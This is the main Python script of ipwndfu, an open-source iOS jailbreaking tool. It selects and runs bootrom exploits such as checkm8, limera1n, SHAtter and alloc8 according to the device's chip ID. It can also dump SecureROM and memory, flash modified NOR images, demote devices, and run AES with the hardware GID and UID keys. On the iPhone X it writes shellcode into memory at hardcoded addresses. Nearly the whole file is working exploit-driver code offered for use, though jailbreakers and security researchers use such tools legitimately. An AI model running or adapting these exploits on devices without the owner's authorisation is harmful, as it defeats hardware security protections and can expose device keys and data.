#!/usr/bin/python
# ipwndfu: open-source jailbreaking tool for older iOS devices
# Author: axi0mX

import binascii, datetime, getopt, hashlib, struct, sys, time
import dfu, nor, utilities
import alloc8, checkm8, image3_24Kpwn, limera1n, SHAtter, steaks4uce, usbexec
from dfuexec import *

def print_help():
    print 'USAGE: ipwndfu [options]'
    print 'Interact with an iOS device in DFU Mode.\n'
    print 'Basic options:'
    print '  -p\t\t\t\tUSB exploit for pwned DFU Mode'
    print '  -x\t\t\t\tinstall alloc8 exploit to NOR'
    print '  -f file\t\t\tsend file to device in DFU Mode'
    print '  -l file\t\t\t\tBoot *unpacked* iBSS'
    print 'Advanced options:'
    print '  --demote\t\t\tdemote device to enable JTAG'
    print '  --boot\t\t\tboot device'
    print '  --dump=address,length\t\tdump memory to stdout'
    print '  --hexdump=address,length\thexdump memory to stdout'
    print '  --dump-rom\t\t\tdump SecureROM'
    print '  --dump-nor=file\t\tdump NOR to file'
    print '  --flash-nor=file\t\tflash NOR (header and firmware only) from file'
    print '  --24kpwn\t\t\tinstall 24Kpwn exploit to NOR'
    print '  --remove-24kpwn\t\tremove 24Kpwn exploit from NOR'
    print '  --remove-alloc8\t\tremove alloc8 exploit from NOR'
    print '  --decrypt-gid=hexdata\t\tAES decrypt with GID key'
    print '  --encrypt-gid=hexdata\t\tAES encrypt with GID key'
    print '  --decrypt-uid=hexdata\t\tAES decrypt with UID key'
    print '  --encrypt-uid=hexdata\t\tAES encrypt with UID key'

if __name__ == '__main__':
    try:
        advanced = ['demote', 'boot', 'dump=', 'hexdump=', 'dump-rom', 'dump-nor=', 'flash-nor=', '24kpwn', 'remove-24kpwn', 'remove-alloc8', 'decrypt-gid=', 'encrypt-gid=', 'decrypt-uid=', 'encrypt-uid=']
        opts, args = getopt.getopt(sys.argv[1:], 'pxf:l:', advanced)
    except getopt.GetoptError:
        print 'ERROR: Invalid arguments provided.'
        print_help()
        sys.exit(2)

    if len(opts) == 0:
        print_help()
        sys.exit(2)

    for opt, arg in opts:
        if opt == '-p':
            device = dfu.acquire_device()
            serial_number = device.serial_number
            dfu.release_device(device)

            if 'CPID:8720' in serial_number:
                steaks4uce.exploit()
            elif 'CPID:8920' in serial_number:
                limera1n.exploit()
            elif 'CPID:8922' in serial_number:
                limera1n.exploit()
            elif 'CPID:8930' in serial_number:
                SHAtter.exploit()
            elif 'CPID:8947' in serial_number:
                checkm8.exploit()
            elif 'CPID:8950' in serial_number:
                checkm8.exploit()
            elif 'CPID:8955' in serial_number:
                checkm8.exploit()
            elif 'CPID:8960' in serial_number:
                checkm8.exploit()
            elif 'CPID:8002' in serial_number:
                checkm8.exploit()
            elif 'CPID:8004' in serial_number:
                checkm8.exploit()
            elif 'CPID:8010' in serial_number:
                checkm8.exploit()
            elif 'CPID:8011' in serial_number:
                checkm8.exploit()
            elif 'CPID:8015' in serial_number:
                checkm8.exploit()
            else:
                print 'Found:', serial_number
                print 'ERROR: This device is not supported.'
                sys.exit(1)

        if opt == '-l':
            device = usbexec.PwnedUSBDevice()
            try:
                with open(arg, 'rb') as f:
                    data = f.read()
            except IOError:
                print 'ERROR: Could not read file:', arg
                sys.exit(1)
            try:
                device.command(data, 1)
            except Exception:
                print 'done!'

        if opt == '-x':
            device = PwnedDFUDevice()
            if device.config.cpid != '8920':
                print 'This is not a compatible device. alloc8 exploit is for iPhone 3GS only.'
                sys.exit(1)

            if device.config.version == '359.3':
                print 'WARNING: iPhone 3GS (old bootrom) was detected. Use 24Kpwn exploit for faster boots, alloc8 exploit is for testing purposes only.'
                sys.exit(0)

            print 'Installing alloc8 exploit to NOR.'

            dump = device.nor_dump(saveBackup=False)

            nor = nor.NorData(dump)

            for byte in nor.parts[1]:
                if byte != '\x00':
                    print 'ERROR: Bytes following IMG2 header in NOR are not zero. alloc8 exploit was likely previously installed. Exiting.'
                    sys.exit(1)
            if len(nor.images) == 0 or len(nor.images[0]) < 0x24000:
                print 'ERROR: 24Kpwn LLB was not found. You must restore a custom 24Kpwn IPSW before using this exploit.'
                sys.exit(1)

            print 'Preparing modified NOR with alloc8 exploit.'
            # Remove 24Kpwn first.
            nor.images[0] = image3_24Kpwn.remove_exploit(nor.images[0])
            new_nor = alloc8.exploit(nor, device.config.version)
            device.flash_nor(new_nor.dump())

        if opt == '-f':
            try:
                with open(arg, 'rb') as f:
                    data = f.read()
            except IOError:
                print 'ERROR: Could not read file:', arg
                sys.exit(1)

            device = dfu.acquire_device()
            dfu.reset_counters(device)
            dfu.send_data(device, data)
            dfu.request_image_validation(device)
            dfu.release_device(device)

        if opt == '--demote':
            device = dfu.acquire_device()
            serial_number = device.serial_number
            dfu.release_device(device)

            if 'PWND:[checkm8]' in serial_number:
                pwned = usbexec.PwnedUSBDevice()
                old_value = pwned.read_memory_uint32(pwned.platform.demotion_reg)
                print 'Demotion register: 0x%x' % old_value
                if old_value & 1:
                    print 'Attempting to demote device.'
                    pwned.write_memory_uint32(pwned.platform.demotion_reg, old_value & 0xFFFFFFFE)
                    new_value = pwned.read_memory_uint32(pwned.platform.demotion_reg)
                    print 'Demotion register: 0x%x' % new_value
                    if old_value != new_value:
                        print 'Success!'
                    else:
                        print 'Failed.'
                else:
                    print 'WARNING: Device is already demoted.'
            else:
                print 'ERROR: Demotion is only supported on devices pwned with checkm8 exploit.'
                sys.exit(1)

        if opt == '--dump':
            if arg.count(',') != 1:
                print 'ERROR: You must provide exactly 2 comma separated values: address,length'
                sys.exit(1)
            raw_address, raw_length = arg.split(',')
            address = int(raw_address, 16) if raw_address.startswith('0x') else int(raw_address, 10)
            length = int(raw_length, 16) if raw_length.startswith('0x') else int(raw_length, 10)

            device = dfu.acquire_device()
            serial_number = device.serial_number
            dfu.release_device(device)

            if 'PWND:[checkm8]' in serial_number:
                device = usbexec.PwnedUSBDevice()
                sys.stdout.write(device.read_memory(address, length))
            else:
                device = PwnedDFUDevice()
                print device.read_memory(address, length)

        if opt == '--hexdump':
            if arg.count(',') != 1:
                print 'ERROR: You must provide exactly 2 comma separated values: address,length'
                sys.exit(1)
            raw_address, raw_length = arg.split(',')
            address = int(raw_address, 16) if raw_address.startswith('0x') else int(raw_address, 10)
            length = int(raw_length, 16) if raw_length.startswith('0x') else int(raw_length, 10)

            device = dfu.acquire_device()
            serial_number = device.serial_number
            dfu.release_device(device)

            if 'PWND:[checkm8]' in serial_number:
                device = usbexec.PwnedUSBDevice()
                dump = device.read_memory(address, length)
                for line in utilities.hex_dump(dump, address).splitlines():
                    print '%x: %s' % (address, line[10:])
                    address += 16
            else:
                device = PwnedDFUDevice()
                dump = device.read_memory(address, length)
                print utilities.hex_dump(dump, address),

        if opt == '--dump-rom':
            device = dfu.acquire_device()
            serial_number = device.serial_number
            dfu.release_device(device)

            if 'PWND:[checkm8]' in serial_number:
                pwned = usbexec.PwnedUSBDevice()
                securerom = pwned.read_memory(pwned.platform.rom_base, pwned.platform.rom_size)
                if hashlib.sha1(securerom).hexdigest() != pwned.platform.rom_sha1:
                    print hashlib.sha1(securerom).hexdigest()
                    print 'ERROR: SecureROM was dumped, but the SHA1 hash does not match. Exiting.'
                    sys.exit(1)
                chip    = securerom[0x200:0x240].split(' ')[2][:-1]
                kind    = securerom[0x240:0x280].split('\0')[0]
                version = securerom[0x280:0x2C0].split('\0')[0][6:]
                filename = 'SecureROM-%s-%s-%s.dump' % (chip, version, kind)
                with open(filename, 'wb') as f:
                    f.write(securerom)
                print 'Saved:', filename
            else:
                device = PwnedDFUDevice()
                securerom = device.securerom_dump()
                filename = 'SecureROM-%s-RELEASE.dump' % device.config.version
                f = open(filename, 'wb')
                f.write(securerom)
                f.close()
                print 'SecureROM dumped to file:', filename

        if opt == '--dump-nor':
            device = PwnedDFUDevice()
            if device.config.cpid != '8920':
                print 'This is not a compatible device. Dumping NOR is only supported on iPhone 3GS.'
                sys.exit(1)
            nor = device.nor_dump(saveBackup=False)
            f = open(arg, 'wb')
            f.write(nor)
            f.close()
            print 'NOR dumped to file: %s' % arg

        if opt == '--flash-nor':
            print 'Flashing NOR from file:', arg
            f = open(arg, 'rb')
            new_nor = f.read()
            f.close()
            if new_nor[:4] != 'IMG2'[::-1]:
                print 'ERROR: Bad IMG2 header magic. This is not a valid NOR. Exiting.'
                sys.exit(1)

            device = PwnedDFUDevice()
            if device.config.cpid != '8920':
                print 'This is not a compatible device. Flashing NOR is only supported on iPhone 3GS.'
                sys.exit(1)
            device.nor_dump(saveBackup=True)
            device.flash_nor(new_nor)

        if opt == '--24kpwn':
            print '*** based on 24Kpwn exploit (segment overflow) by chronic, CPICH, ius, MuscleNerd, Planetbeing, pod2g, posixninja, et al. ***'

            device = PwnedDFUDevice()
            if device.config.version != '359.3':
                print 'Only iPhone 3GS (old bootrom) is supported.'
                sys.exit(1)

            dump = device.nor_dump(saveBackup=True)

            print 'Preparing modified NOR with 24Kpwn exploit.'
            nor = nor.NorData(dump)
            for byte in nor.parts[1]:
                if byte != '\x00':
                    print 'ERROR: Bytes following IMG2 header in NOR are not zero. alloc8 exploit was likely previously installed. Exiting.'
                    sys.exit(1)
            if len(nor.images) == 0:
                print 'ERROR: 24Kpwn exploit cannot be installed, because NOR has no valid LLB. Exiting.'
                sys.exit(1)

            # Remove existing 24Kpwn exploit.
            if len(nor.images[0]) > 0x24000:
                nor.images[0] = image3_24Kpwn.remove_exploit(nor.images[0])
            nor.images[0] = image3_24Kpwn.exploit(nor.images[0], device.securerom_dump())
            device.flash_nor(nor.dump())

        if opt == '--remove-24kpwn':
            device = PwnedDFUDevice()
            if device.config.cpid != '8920':
                print 'This is not a compatible device. 24Kpwn exploit is only supported on iPhone 3GS.'
                sys.exit(1)

            print 'WARNING: This feature is for researchers only. Device will probably not boot into iOS until it is restored in iTunes.'
            raw_input("Press ENTER to continue.")

            dump = device.nor_dump(saveBackup=True)

            nor = nor.NorData(dump)

            if len(nor.images) == 0:
                print 'ERROR: NOR has no valid LLB. It seems that 24Kpwn exploit is not installed. Exiting.'
                sys.exit(1)
            if len(nor.images[0]) <= 0x24000:
                print 'ERROR: LLB is not oversized. It seems that 24Kpwn exploit is not installed. Exiting.'
                sys.exit(1)

            print 'Preparing modified NOR without 24Kpwn exploit.'
            nor.images[0] = image3_24Kpwn.remove_exploit(nor.images[0])
            device.flash_nor(nor.dump())

        if opt == '--remove-alloc8':
            device = PwnedDFUDevice()
            if device.config.cpid != '8920':
                print 'This is not a compatible device. alloc8 exploit is for iPhone 3GS only.'
                sys.exit(1)

            print 'WARNING: This feature is for researchers only. Device will probably not boot into iOS until it is restored in iTunes.'
            raw_input("Press ENTER to continue.")

            dump = device.nor_dump(saveBackup=True)

            nor = nor.NorData(dump)

            if len(nor.images) < 700:
                print 'ERROR: It seems that alloc8 exploit is not installed. There are less than 700 images in NOR. Exiting.'
                sys.exit(1)

            print 'Preparing modified NOR without alloc8 exploit.'
            new_nor = alloc8.remove_exploit(nor)
            device.flash_nor(new_nor.dump())

        if opt == '--decrypt-gid':
            device = dfu.acquire_device()
            serial_number = device.serial_number
            dfu.release_device(device)

            if 'PWND:[checkm8]' in serial_number:
                pwned = usbexec.PwnedUSBDevice()
                print 'Decrypting with %s GID key.' % pwned.platform.name()
                print pwned.aes(arg.decode('hex'), usbexec.AES_DECRYPT, usbexec.AES_GID_KEY).encode('hex')
            else:
                device = PwnedDFUDevice()
                print 'Decrypting with S5L%s GID key.' % device.config.cpid
                print device.aes_hex(arg, AES_DECRYPT, AES_GID_KEY)

        if opt == '--encrypt-gid':
            device = dfu.acquire_device()
            serial_number = device.serial_number
            dfu.release_device(device)

            if 'PWND:[checkm8]' in serial_number:
                pwned = usbexec.PwnedUSBDevice()
                print 'Encrypting with %s GID key.' % pwned.platform.name()
                print pwned.aes(arg.decode('hex'), usbexec.AES_ENCRYPT, usbexec.AES_GID_KEY).encode('hex')
            else:
                device = PwnedDFUDevice()
                print 'Encrypting with S5L%s GID key.' % device.config.cpid
                print device.aes_hex(arg, AES_ENCRYPT, AES_GID_KEY)

        if opt == '--decrypt-uid':
            device = dfu.acquire_device()
            serial_number = device.serial_number
            dfu.release_device(device)

            if 'PWND:[checkm8]' in serial_number:
                pwned = usbexec.PwnedUSBDevice()
                print 'Decrypting with %s device-specific UID key.' % pwned.platform.name()
                print pwned.aes(arg.decode('hex'), usbexec.AES_DECRYPT, usbexec.AES_UID_KEY).encode('hex')
            else:
                device = PwnedDFUDevice()
                print 'Decrypting with device-specific UID key.'
                print device.aes_hex(arg, AES_DECRYPT, AES_UID_KEY)

        if opt == '--encrypt-uid':
            device = dfu.acquire_device()
            serial_number = device.serial_number
            dfu.release_device(device)

            if 'PWND:[checkm8]' in serial_number:
                pwned = usbexec.PwnedUSBDevice()
                print 'Encrypting with %s device-specific UID key.' % pwned.platform.name()
                print pwned.aes(arg.decode('hex'), usbexec.AES_ENCRYPT, usbexec.AES_UID_KEY).encode('hex')
            else:
                device = PwnedDFUDevice()
                print 'Encrypting with device-specific UID key.'
                print device.aes_hex(arg, AES_ENCRYPT, AES_UID_KEY)

        if opt == '--boot':
            device = dfu.acquire_device()
            serial_number = device.serial_number
            dfu.release_device(device)

            if 'CPID:8015' not in serial_number or 'PWND:[checkm8]' not in serial_number:
                print serial_number
                print 'ERROR: Option --boot is currently only supported on iPhone X pwned with checkm8.'
            else:
                HEAP_BASE         = 0x1801E8000
                HEAP_WRITE_OFFSET = 0x5000
                HEAP_WRITE_HASH   = 0x10000D4EC
                HEAP_CHECK_ALL    = 0x10000DB98
                HEAP_STATE        = 0x1800086A0
                NAND_BOOT_JUMP    = 0x10000188C
                BOOTSTRAP_TASK_LR = 0x180015F88
                DFU_BOOL          = 0x1800085B0
                DFU_NOTIFY        = 0x1000098B4
                DFU_STATE         = 0x1800085E0
                TRAMPOLINE        = 0x180018000
                block1 = struct.pack('<8Q', 0, 0, 0, HEAP_STATE, 2, 132, 128, 0)
                block2 = struct.pack('<8Q', 0, 0, 0, HEAP_STATE, 2,   8, 128, 0)
                device = usbexec.PwnedUSBDevice()
                device.write_memory(HEAP_BASE + HEAP_WRITE_OFFSET        , block1)
                device.write_memory(HEAP_BASE + HEAP_WRITE_OFFSET +  0x80, block2)
                device.write_memory(HEAP_BASE + HEAP_WRITE_OFFSET + 0x100, block2)
                device.write_memory(HEAP_BASE + HEAP_WRITE_OFFSET + 0x180, block2)
                device.execute(0, HEAP_WRITE_HASH, HEAP_BASE + HEAP_WRITE_OFFSET        )
                device.execute(0, HEAP_WRITE_HASH, HEAP_BASE + HEAP_WRITE_OFFSET +  0x80)
                device.execute(0, HEAP_WRITE_HASH, HEAP_BASE + HEAP_WRITE_OFFSET + 0x100)
                device.execute(0, HEAP_WRITE_HASH, HEAP_BASE + HEAP_WRITE_OFFSET + 0x180)
                device.execute(0, HEAP_CHECK_ALL)
                print 'Heap repaired.'

                device.write_memory(TRAMPOLINE, checkm8.asm_arm64_branch(TRAMPOLINE, TRAMPOLINE + 0x400))
                device.write_memory(TRAMPOLINE + 0x400, open('bin/t8015_shellcode_arm64.bin').read())

                device.write_memory_ptr(BOOTSTRAP_TASK_LR, NAND_BOOT_JUMP)
                device.write_memory(DFU_BOOL, '\x01')
                device.execute(0, DFU_NOTIFY, DFU_STATE)
                print 'Booted.'
